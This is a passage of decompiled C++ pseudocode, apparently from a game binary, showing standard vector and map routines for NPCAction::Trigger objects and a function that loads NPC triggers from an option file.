**)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = v4->_Mylast; v8 = v6; for ( i = v6; i != v7; ++i ) i->baseclass_0.vfptr->__vecDelDtor((IObserver *)i, 0); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (0058C690) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(NPCAction::Trigger *_First, unsigned int _Count, NPCAction::Trigger *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ebx@1 NPCAction::Trigger *v6; // esi@1 NPCAction::ICondition *v7; // eax@4 int v8; // [sp+0h] [bp-20h]@1 NPCAction::Trigger *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Count; v6 = _First; v10 = &v8; _Next = _First; v11 = 0; while ( v5 ) { if ( v6 ) { v6->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::Trigger::_vftable_; v7 = _Val->condition_; LOBYTE(v11) = 2; v6->condition_ = v7; std::vector>::vector>( &v6->actions_, &_Val->actions_); } --v5; ++v6; LOBYTE(v11) = 0; } } // 67DA6C: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (0058C730) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...) { std::_Tree >,std::less,std::allocator > > > *v3; // ebp@1 std::_Tree >,std::less,std::allocator > > > v4; // ebx@4 std::_Tree >,std::less,std::allocator > > > v5; // edi@5 std::_Tree >,std::less,std::allocator > > > v6; // ecx@8 std::_Tree >,std::less,std::allocator > > > v7; // esi@9 int v8; // eax@11 int v9; // ebx@16 std::_Tree_nod >,std::less,std::allocator > *v10; // eax@18 int v11; // ebx@21 int v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 int v17; // eax@60 std::_Tree >,std::less,std::allocator > > > *v18; // eax@62 std::_Tree >,std::less,std::allocator > > > _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(_Where + 33) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc(&_Where); if ( *(_BYTE *)(*(_DWORD *)v4 + 33) ) { v5 = *(_DWORD *)(v4 + 8); LABEL_9: v7 = *(_DWORD *)(v4 + 4); if ( !*(_BYTE *)(v5 + 33) ) *(_DWORD *)(v5 + 4) = v7; v8 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v8 + 4) == v4 ) { *(_DWORD *)(v8 + 4) = v5; } else { if ( *(_DWORD *)v7 == v4 ) *(_DWORD *)v7 = v5; else *(_DWORD *)(v7 + 8) = v5; } v9 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)v9 == _Erasednode ) { if ( *(_BYTE *)(v5 + 33) ) v10 = (std::_Tree_nod >,std::less,std::allocator > *)v7; else v10 = std::_Tree>_std::less_std::allocator>>>_0>>::_Min((std::_Tree_nod >,std::less,std::allocator > *)v5); *(_DWORD *)v9 = v10; } v11 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v11 + 8) == _Erasednode ) { if ( *(_BYTE *)(v5 + 33) ) *(_DWORD *)(v11 + 8) = v7; else *(_DWORD *)(v11 + 8) = std::_Tree>_std::less_std::allocator>>>_0>>::_Max((std::_Tree_nod >,std::less,std::allocator > *)v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(v4 + 8) + 33) ) { v5 = *(_DWORD *)v4; goto LABEL_9; } v6 = _Where; v5 = *(_DWORD *)(_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(*(_DWORD *)v4 + 4) = _Where; *(_DWORD *)v6 = *(_DWORD *)v4; if ( v6 == *(_DWORD *)(v4 + 8) ) { v7 = v6; } else { v7 = *(_DWORD *)(v6 + 4); if ( !*(_BYTE *)(v5 + 33) ) *(_DWORD *)(v5 + 4) = v7; *(_DWORD *)v7 = v5; *(_DWORD *)(v6 + 8) = *(_DWORD *)(v4 + 8); *(_DWORD *)(*(_DWORD *)(v4 + 8) + 4) = v6; } v12 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v12 + 4) == v4 ) { *(_DWORD *)(v12 + 4) = v6; } else { v13 = *(_DWORD *)(v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(v6 + 4) = *(_DWORD *)(v4 + 4); v14 = *(_BYTE *)(v6 + 32); *(_BYTE *)(v6 + 32) = *(_BYTE *)(v4 + 32); *(_BYTE *)(v4 + 32) = v14; LABEL_36: if ( *(_BYTE *)(_Erasednode + 32) == 1 ) { if ( v5 != *(_DWORD *)(*((_DWORD *)v3 + 1) + 4) ) { do { if ( *(_BYTE *)(v5 + 32) != 1 ) break; v15 = *(_DWORD *)v7; if ( v5 == *(_DWORD *)v7 ) { v15 = *(_DWORD *)(v7 + 8); if ( !*(_BYTE *)(v15 + 32) ) { *(_BYTE *)(v15 + 32) = 1; *(_BYTE *)(v7 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v7); v15 = *(_DWORD *)(v7 + 8); } if ( *(_BYTE *)(v15 + 33) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 32) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 32) = 1; *(_BYTE *)(v15 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v15); v15 = *(_DWORD *)(v7 + 8); } *(_BYTE *)(v15 + 32) = *(_BYTE *)(v7 + 32); *(_BYTE *)(v7 + 32) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) = 1; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v7); break; } } else { if ( !*(_BYTE *)(v15 + 32) ) { *(_BYTE *)(v15 + 32) = 1; *(_BYTE *)(v7 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v7); v15 = *(_DWORD *)v7; } if ( *(_BYTE *)(v15 + 33) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 32) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 32) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) = 1; *(_BYTE *)(v15 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v15); v15 = *(_DWORD *)v7; } *(_BYTE *)(v15 + 32) = *(_BYTE *)(v7 + 32); *(_BYTE *)(v7 + 32) = 1; *(_BYTE *)(*(_DWORD *)v15 + 32) = 1; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v7); break; } } *(_BYTE *)(v15 + 32) = 0; LABEL_54: v5 = v7; v16 = v7 == *(_DWORD *)(*((_DWORD *)v3 + 1) + 4); v7 = *(_DWORD *)(v7 + 4); } while ( !v16 ); } *(_BYTE *)(v5 + 32) = 1; } std::vector>::_Tidy((std::vector > *)(_Erasednode + 16)); operator delete((void *)_Erasednode); v17 = *((_DWORD *)v3 + 2); if ( v17 ) *((_DWORD *)v3 + 2) = v17 - 1; v18 = result; *result = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0058CA00) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Erase(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Rootnode) { std::_Tree_nod >,std::less,std::allocator > *v2; // edi@1 std::_Tree >,std::less,std::allocator > > > *v3; // ebx@1 std::_Tree_nod >,std::less,std::allocator > *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i[16]._Alnod.baseclass_0.dummy[0]; v2 = i ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Erase( v3, *(std::_Tree_nod >,std::less,std::allocator > **)&i[4].baseclass_0.comp.baseclass_0.dummy[0]); i = *(std::_Tree_nod >,std::less,std::allocator > **)&i->baseclass_0.comp.baseclass_0.dummy[0]; std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (0058CA40) -------------------------------------------------------- NPCAction::Trigger *__thiscall std::vector>::_Ufill(std::vector > *this, NPCAction::Trigger *_Ptr, unsigned int _Count, NPCAction::Trigger *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0058CA70) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { NPCAction::Trigger *v2; // eax@1 std::vector > *v3; // esi@1 int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 std::vector >::const_iterator v7; // ecx@7 std::vector >::const_iterator v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = _Right->_Myfirst; v3 = this; v11 = &v9; v10 = this; if ( v2 ) v4 = _Right->_Mylast - v2; else v4 = 0; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( v4 ) { if ( v4 > (unsigned int)&wholesaver.ws_savestore[2017].esc_skill.buffer[6422] ) std::vector>::_Xlen(this); v5 = 24 * v4; v6 = operator new(24 * v4); v3->_Myfirst = (NPCAction::Trigger *)v6; v3->_Mylast = (NPCAction::Trigger *)v6; v3->_Myend = (NPCAction::Trigger *)((char *)v6 + v5); v7 = (std::vector >::const_iterator)_Right->_Mylast; v8 = (std::vector >::const_iterator)_Right->_Myfirst; v12 = 0; v3->_Mylast = std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( v8, v7, (NPCAction::Trigger *)v6, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (0058CB23) -------------------------------------------------------- void __usercall _L172160(int a1) { std::vector>::_Tidy(*(std::vector > **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (0058CB40) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...) { std::_Tree >,std::less,std::allocator > > > v4; // ebx@1 std::_Tree >,std::less,std::allocator > > > v5; // esi@1 std::_Tree >,std::less,std::allocator > > > *v6; // edi@1 int v7; // eax@1 int v8; // eax@3 std::_Tree >,std::less,std::allocator > > > *v9; // eax@3 std::_Tree >,std::less,std::allocator > > > v10; // ecx@5 int v11; // eax@6 std::_Tree >,std::less,std::allocator > > > j; // eax@7 std::_Tree >,std::less,std::allocator > > > i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = *((_DWORD *)this + 1); if ( _First != *(_DWORD *)v7 || _Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(v5 + 33) ) { v11 = *(_DWORD *)(v5 + 8); if ( *(_BYTE *)(v11 + 33) ) { for ( i = *(_DWORD *)(v5 + 4); !*(_BYTE *)(i + 33); i = *(_DWORD *)(i + 4) ) { if ( v5 != *(_DWORD *)(i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(_DWORD *)(v5 + 8); for ( j = *(_DWORD *)v11; !*(_BYTE *)(j + 33); j = *(_DWORD *)j ) v5 = j; } } std::_Tree>_std::less_std::allocator>>>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *result = v5; } else { std::_Tree>_std::less_std::allocator>>>_0>>::_Erase( this, *(std::_Tree_nod >,std::less,std::allocator > **)(v7 + 4)); *(_DWORD *)(*((_DWORD *)v6 + 1) + 4) = *((_DWORD *)v6 + 1); v8 = *((_DWORD *)v6 + 1); *((_DWORD *)v6 + 2) = 0; *(_DWORD *)v8 = v8; *(_DWORD *)(*((_DWORD *)v6 + 1) + 8) = *((_DWORD *)v6 + 1); v9 = result; *result = **((_DWORD **)v6 + 1); } return v9; } //----- (0058CC00) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, NPCAction::Trigger *_Val) { std::vector > *v4; // esi@1 NPCAction::Trigger *v5; // ebx@1 unsigned int v6; // ecx@1 signed int v7; // edx@2 unsigned int v8; // edi@3 int v9; // eax@5 int v10; // eax@10 int v11; // ecx@14 int v12; // eax@17 void *v13; // eax@21 void *v14; // ebx@21 std::vector >::const_iterator v15; // ST18_4@21 int v16; // eax@21 int v17; // edi@23 Observer *v18; // eax@23 std::vector >::const_iterator v19; // ecx@26 std::vector >::iterator v20; // ebx@26 NPCAction::Trigger *v21; // ecx@27 NPCAction::Trigger *v22; // ST24_4@27 unsigned int v23; // edi@27 int v24; // [sp+0h] [bp-3Ch]@1 char _Tmp; // [sp+Ch] [bp-30h]@1 void *p; // [sp+18h] [bp-24h]@29 int v27; // [sp+1Ch] [bp-20h]@31 int v28; // [sp+20h] [bp-1Ch]@31 void *_Newvec; // [sp+24h] [bp-18h]@21 std::vector > *thisa; // [sp+28h] [bp-14h]@1 int *v31; // [sp+2Ch] [bp-10h]@1 int v32; // [sp+38h] [bp-4h]@1 NPCAction::Trigger *_Wherea; // [sp+44h] [bp+8h]@28 NPCAction::Trigger *_Ptr; // [sp+48h] [bp+Ch]@21 int _Vala; // [sp+4Ch] [bp+10h]@21 NPCAction::Trigger *_Valb; // [sp+4Ch] [bp+10h]@26 v4 = this; v31 = &v24; thisa = (std::vector > *)this; NPCAction::Trigger::Trigger((NPCAction::Trigger *)&_Tmp, _Val); v5 = v4->_Myfirst; v6 = 0; v32 = 0; if ( v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 2; v6 = v7 + ((unsigned int)v7 >> 31); } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[2017].esc_skill.buffer[-v9 + 6422] < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v6 >= _Count + v10 ) { v19 = (std::vector >::const_iterator)v4->_Mylast; v20 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 24 >= _Count ) { _Wherea = (NPCAction::Trigger *)(*(_DWORD *)&v19 - 24 * _Count); v4->_Mylast = std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( (std::vector >::const_iterator)(*(_DWORD *)&v19 - 24 * _Count), v19, *(NPCAction::Trigger **)&v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(v19.___u0.baseclass_0.baseclass_0.dummy[0] - 24 * _Count)); std::_Copy_backward_opt( *(NPCAction::Trigger **)&v20, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(NPCAction::Trigger **)&v20, (NPCAction::Trigger *)(*(_DWORD *)&v20 + 24 * _Count), (NPCAction::Trigger *)&_Tmp); } else { std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( _Where.baseclass_0, v19, (NPCAction::Trigger *)(*(_DWORD *)&_Where + 24 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v21 = v4->_Mylast; v22 = v4->_Mylast; LOBYTE(v32) = 3; std::vector>::_Ufill( v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 24, (NPCAction::Trigger *)&_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (NPCAction::Trigger *)v23; v32 = 0; std::fill( *(NPCAction::Trigger **)&_Where, (NPCAction::Trigger *)(v23 - 24 * _Count), (NPCAction::Trigger *)&_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[2017].esc_skill.buffer[-(v6 >> 1) + 6422] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size((std::vector > *)v4); _Vala = 24 * v11; v13 = operator new(24 * v11); v14 = v13; v15 = (std::vector >::const_iterator)v4->_Myfirst; _Newvec = v13; LOBYTE(v32) = 1; _Ptr = std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( v15, _Where.baseclass_0, (NPCAction::Trigger *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, (NPCAction::Trigger *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( _Where.baseclass_0, (std::vector >::const_iterator)v4->_Mylast, &_Ptr[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = (int)v4->_Myfirst; v32 = 0; if ( v16 ) v16 = (signed int)((char *)v4->_Mylast - v16) / 24; v17 = v16 + v8; v18 = (Observer *)v4->_Myfirst; if ( v18 ) { std::vector>::_Destroy( (std::vector > *)v4, v18, (Observer *)v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (NPCAction::Trigger *)((char *)v14 + _Vala); v4->_Mylast = (NPCAction::Trigger *)((char *)v14 + 24 * v17); v4->_Myfirst = (NPCAction::Trigger *)v14; } } v32 = -1; if ( p ) operator delete(p); p = 0; v27 = 0; v28 = 0; IObserver::_IObserver((IObserver *)&_Tmp); } //----- (0058CF20) -------------------------------------------------------- std::pair > > *__cdecl std::make_pair>>(std::pair > > *result, unsigned __int16 _Val1, std::vector > _Val2) { result->first = _Val1; std::vector>::vector>( &result->second, &_Val2); std::vector>::_Tidy((std::vector > *)&_Val2); return result; } //----- (0058CF90) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, NPCAction::Trigger _Val) { NPCAction::Trigger *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } if ( _Val.actions_._Myfirst ) operator delete(_Val.actions_._Myfirst); _Val.actions_._Myfirst = 0; _Val.actions_._Mylast = 0; _Val.actions_._Myend = 0; IObserver::_IObserver(&_Val.baseclass_0); } //----- (0058D080) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(...) { void *v6; // eax@1 void *v7; // esi@1 int v9; // [sp+0h] [bp-24h]@1 void *v10; // [sp+Ch] [bp-18h]@1 void *_Wherenode; // [sp+10h] [bp-14h]@1 int *v12; // [sp+14h] [bp-10h]@1 int v13; // [sp+20h] [bp-4h]@1 v12 = &v9; v6 = operator new(0x24u); v7 = v6; _Wherenode = v6; v13 = 0; v10 = v6; LOBYTE(v13) = 1; if ( v6 ) { *(_DWORD *)v6 = _Larg; *((_DWORD *)v6 + 1) = _Parg; *((_DWORD *)v6 + 2) = _Rarg; *((_WORD *)v6 + 6) = _Val->first; std::vector>::vector>( (std::vector > *)v6 + 1, &_Val->second); *((_BYTE *)v7 + 32) = _Carg; *((_BYTE *)v7 + 33) = 0; } return (std::_Tree_nod >,std::less,std::allocator > *)v7; } //----- (0058D120) -------------------------------------------------------- void __thiscall std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this) { std::map >,std::less,std::allocator > > > > *v1; // esi@1 std::_Tree >,std::less,std::allocator > > > result; // [sp+0h] [bp-4h]@1 result = (std::_Tree >,std::less,std::allocator > > >)this; v1 = this; std::_Tree>_std::less_std::allocator>>>_0>>::erase( &this->baseclass_0, &result, **(std::_Tree >,std::less,std::allocator > > > **)&this->gap4[0], *(std::_Tree >,std::less,std::allocator > > > *)&this->gap4[0]); operator delete(*(void **)&v1->gap4[0]); *(_DWORD *)&v1->gap4[0] = 0; *(_DWORD *)&v1->gap4[4] = 0; } //----- (0058D150) -------------------------------------------------------- void __thiscall std::map>_std::less_std::allocator>>>>::map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this) { std::map >,std::less,std::allocator > > > > *v1; // esi@1 std::_Tree_nod >,std::less,std::allocator > *v2; // eax@1 v1 = this; v2 = std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(&this->baseclass_0); *(_DWORD *)&v1->gap4[0] = v2; v2[16]._Alnod.baseclass_0.dummy[0] = 1; *(_DWORD *)(*(_DWORD *)&v1->gap4[0] + 4) = *(_DWORD *)&v1->gap4[0]; **(_DWORD **)&v1->gap4[0] = *(_DWORD *)&v1->gap4[0]; *(_DWORD *)(*(_DWORD *)&v1->gap4[0] + 8) = *(_DWORD *)&v1->gap4[0]; *(_DWORD *)&v1->gap4[4] = 0; } //----- (0058D180) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::_Insert(...) { std::_Tree >,std::less,std::allocator > > > *v5; // edi@1 std::_Tree >,std::less,std::allocator > > > v6; // ecx@4 int v7; // eax@4 int v8; // eax@7 int v9; // eax@9 int v10; // eax@11 std::_Tree_nod >,std::less,std::allocator > *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree >,std::less,std::allocator > > > *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree >,std::less,std::allocator > > > _Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( *((_DWORD *)this + 2) >= (unsigned int)((char *)&ddt.ddt_Table[2021][1471].distance + 3) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = (std::_Tree >,std::less,std::allocator > > >)std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(this, *((std::_Tree_nod >,std::less,std::allocator > **)this + 1), _Wherenode, *((std::_Tree_nod >,std::less,std::allocator > **)this + 1), _Val, 0); v7 = *((_DWORD *)v5 + 1); _Vala = v6; ++*((_DWORD *)v5 + 2); if ( _Wherenode == (std::_Tree_nod >,std::less,std::allocator > *)v7 ) { *(_DWORD *)(v7 + 4) = v6; **((_DWORD **)v5 + 1) = v6; *(_DWORD *)(*((_DWORD *)v5 + 1) + 8) = v6; } else { if ( _Addleft ) { *(_DWORD *)&_Wherenode->baseclass_0.comp.baseclass_0.dummy[0] = v6; v8 = *((_DWORD *)v5 + 1); if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)v8 ) *(_DWORD *)v8 = v6; } else { *(_DWORD *)&_Wherenode[4].baseclass_0.comp.baseclass_0.dummy[0] = v6; v9 = *((_DWORD *)v5 + 1); if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)(v9 + 8) ) *(_DWORD *)(v9 + 8) = v6; } } v10 = v6 + 4; v11 = (std::_Tree_nod >,std::less,std::allocator > *)v6; if ( !*(_BYTE *)(*(_DWORD *)(v6 + 4) + 32) ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 32) ) { if ( v11 == *(std::_Tree_nod >,std::less,std::allocator > **)(v12 + 8) ) { v11 = *(std::_Tree_nod >,std::less,std::allocator > **)v10; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)v10); } *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4) + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4)); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 32) ) { if ( v11 == *(std::_Tree_nod >,std::less,std::allocator > **)v12 ) { v11 = *(std::_Tree_nod >,std::less,std::allocator > **)v10; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)v10); } *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4) + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4)); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 32) = 1; *(_BYTE *)(v14 + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 32) = 0; v11 = *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11[2]; if ( *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) ) { v6 = _Vala; break; } } } v15 = result; *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v5 + 1) + 4) + 32) = 1; *result = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0058D330) -------------------------------------------------------- bool __cdecl NPCAction::Util::loadFromOptionReader(std::vector > *destManager, const char *fileName) { unsigned int v2; // edi@2 std::vector >::iterator v3; // esi@2 unsigned int v4; // eax@2 bool result; // al@4 int v6; // [sp-18h] [bp-108A0h]@2 int v7; // [sp-14h] [bp-1089Ch]@2 int v8; // [sp-10h] [bp-10898h]@2 int *v9; // [sp+8h] [bp-10880h]@1 int generator; // [sp+Ch] [bp-1087Ch]@2 int v11; // [sp+10h] [bp-10878h]@2 std::vector > _Right; // [sp+14h] [bp-10874h]@2 OptionReader optionReader; // [sp+24h] [bp-10864h]@1 unsigned int v14; // [sp+10878h] [bp-10h]@1 int v15; // [sp+10884h] [bp-4h]@1 v14 = (unsigned int)&v9 ^ __security_cookie; OptionReader::OptionReader(&optionReader); v15 = 0; if ( OptionReader::or_Read(&optionReader, (char *)fileName) ) { NPCAction::TriggerGen_OptionReader::TriggerGen_OptionReader( (NPCAction::TriggerGen_OptionReader *)&generator, &optionReader); LOBYTE(v15) = 1; v2 = NPCAction::TriggerGen_OptionReader::size((NPCAction::TriggerGen_OptionReader *)&generator); v9 = &v6; NPCAction::Trigger::Trigger((NPCAction::Trigger *)&v6); std::vector>::resize( destManager, v2, *(NPCAction::Trigger *)&v6); v6 = generator; v9 = &v6; v7 = v11; std::vector>::vector>( (std::vector > *)&v8, &_Right); v3 = (std::vector >::iterator)destManager->_Myfirst; LOBYTE(v15) = 2; v4 = NPCAction::TriggerGen_OptionReader::size((NPCAction::TriggerGen_OptionReader *)&generator); LOBYTE(v15) = 1; std::generate_n>::iterator_unsigned_int_NPCAction::TriggerGen_OptionReader>( v3, v4, *(NPCAction::TriggerGen_OptionReader *)&v6); LOBYTE(v15) = 0; std::vector>::_Tidy((std::vector > *)&_Right); v15 = -1; OptionReader::_OptionReader(&optionReader); } else { v15 = -1; OptionReader::_OptionReader(&optionReader); } __security_check_cookie((unsigned int)&v9 ^ v14); return result; } //----- (0058D480) 